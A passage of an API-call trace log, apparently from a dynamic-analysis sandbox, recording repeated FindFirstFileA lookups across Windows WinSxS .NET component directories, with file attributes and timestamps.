lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-csd_cdf_installer_31bf3856ad364e35_6.1.7600.16385_none_b45109ec45a678fc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.339] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-system.servicemodel.web_31bf3856ad364e35_6.1.7601.17514_none_dabfceba3910f47e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00db40b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb00db40b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb00db40b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.339] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-system.workflowservices_31bf3856ad364e35_6.1.7601.17514_none_c60c71ccff3a107f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00db40b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb00db40b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb00db40b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.340] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-addinprocess_31bf3856ad364e35_6.1.7601.17514_none_8ebd3037635a8b2f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb4888d57, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.343] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-addinutil_31bf3856ad364e35_6.1.7601.17514_none_29443e96f9fb6564\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb4947439, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb5c803b4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c803b4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.346] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-csharp_31bf3856ad364e35_6.1.7601.17514_none_7551b4792ac9630d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb47f07d6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.350] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-datasvcutil_31bf3856ad364e35_6.1.7601.17514_none_ed7ce39bb395c4e0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48fb178, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb5c5a253, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c5a253, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.353] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-default_win32manifest_31bf3856ad364e35_6.1.7600.16385_none_c19c286c51a00206\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.354] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-edmgen_31bf3856ad364e35_6.1.7601.17514_none_0ca1fd81527e1e9a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb4862bf7, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.355] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-framework_assemblylist_31bf3856ad364e35_6.1.7600.16385_none_2e52f21a630e843f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.360] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-linqwebconfig_31bf3856ad364e35_6.1.7601.17514_none_b532bb17fea7ee9a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5c803b4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5c803b4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c803b4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.361] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microso...entity.build.tasks_31bf3856ad364e35_6.1.7600.16385_none_3250e53a62eb6f11\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.363] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microso..data_entity_targets_31bf3856ad364e35_6.1.7600.16385_none_f3e6c10b5647cbba\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.364] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microso..ild.conversion.v3.5_31bf3856ad364e35_6.1.7600.16385_none_959ae100dcdb03d6\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d9e9b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d9e9b4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d9e9b4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.365] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microso..uild.utilities.v3.5_31bf3856ad364e35_6.1.7601.17514_none_dd8b121b49f300cc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.366] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microsoft.build.engine_31bf3856ad364e35_3.5.7601.17514_none_ee049a56881fedff\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.366] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microsoft.build.framework_31bf3856ad364e35_3.5.7600.16385_none_9a6606b55758aabd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.367] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microsoft.build.tasks.v3.5_31bf3856ad364e35_6.1.7601.17514_none_5077bea082d2585e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.368] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microsoft.visualc.stlclr.ref_31bf3856ad364e35_6.1.7600.16385_none_5bf06295324feb0e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d526f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d526f3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d526f3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.370] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-microsoft.visualc.stlclr_31bf3856ad364e35_6.1.7600.16385_none_b0cd07cfb8bd5603\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d9e9b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d9e9b4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d9e9b4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.371] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild..montypes_schema_v35_31bf3856ad364e35_6.1.7600.16385_none_d799b5213352cb16\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d526f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d526f3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d526f3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.371] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild_core_schema__v35_31bf3856ad364e35_6.1.7600.16385_none_7a4294a74548ee4c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.372] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild_data_files_31bf3856ad364e35_6.1.7600.16385_none_e9104f2e94f4b7ed\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.373] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild_rsp_31bf3856ad364e35_6.1.7600.16385_none_2ce370c951e3b8c0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d78853, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.379] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild_schema_v35_31bf3856ad364e35_6.1.7600.16385_none_a45890c6256df783\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d526f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d526f3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d526f3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.380] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-msbuild_targetfiles_31bf3856ad364e35_6.1.7600.16385_none_6ec8fca242b4dcc9\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d526f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d78853, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d78853, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.384] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system....dynamicdata.design_31bf3856ad364e35_6.1.7601.17514_none_f48e45c7055224f8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.385] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system...a.datasetextensions_31bf3856ad364e35_6.1.7601.17514_none_b547268892a0926f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.386] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system...del.dataannotations_31bf3856ad364e35_6.1.7601.17514_none_70ded7ee0fb5267d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.387] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system...ent.instrumentation_31bf3856ad364e35_6.1.7601.17514_none_7ea7079fb111808c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5c5a253, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5c5a253, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c5a253, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.388] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system...s.accountmanagement_31bf3856ad364e35_6.1.7601.17514_none_dd142e79a6688d02\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.389] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.addin.contract_31bf3856ad364e35_6.1.7601.17514_none_862122ae53e2e567\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.390] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.addin_31bf3856ad364e35_6.1.7601.17514_none_97288e952e73747d\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.390] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.core_31bf3856ad364e35_6.1.7601.17514_none_bd8097b9a570d758\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.391] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.entity.design_31bf3856ad364e35_6.1.7601.17514_none_e96b3b181d1c5ff0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.393] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.entity_31bf3856ad364e35_6.1.7601.17514_none_913a3c3df2332df4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5c803b4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5c803b4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c803b4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.393] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.linq_31bf3856ad364e35_6.1.7601.17514_none_c7e615d52227d49b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.394] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.services.client_31bf3856ad364e35_6.1.7601.17514_none_2c400be857e72e9c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.402] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.services.design_31bf3856ad364e35_6.1.7601.17514_none_57f64808c4ad1ed1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5c5a253, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5c5a253, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c5a253, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.403] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.data.services_31bf3856ad364e35_6.1.7601.17514_none_4d80338bda6aae67\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, 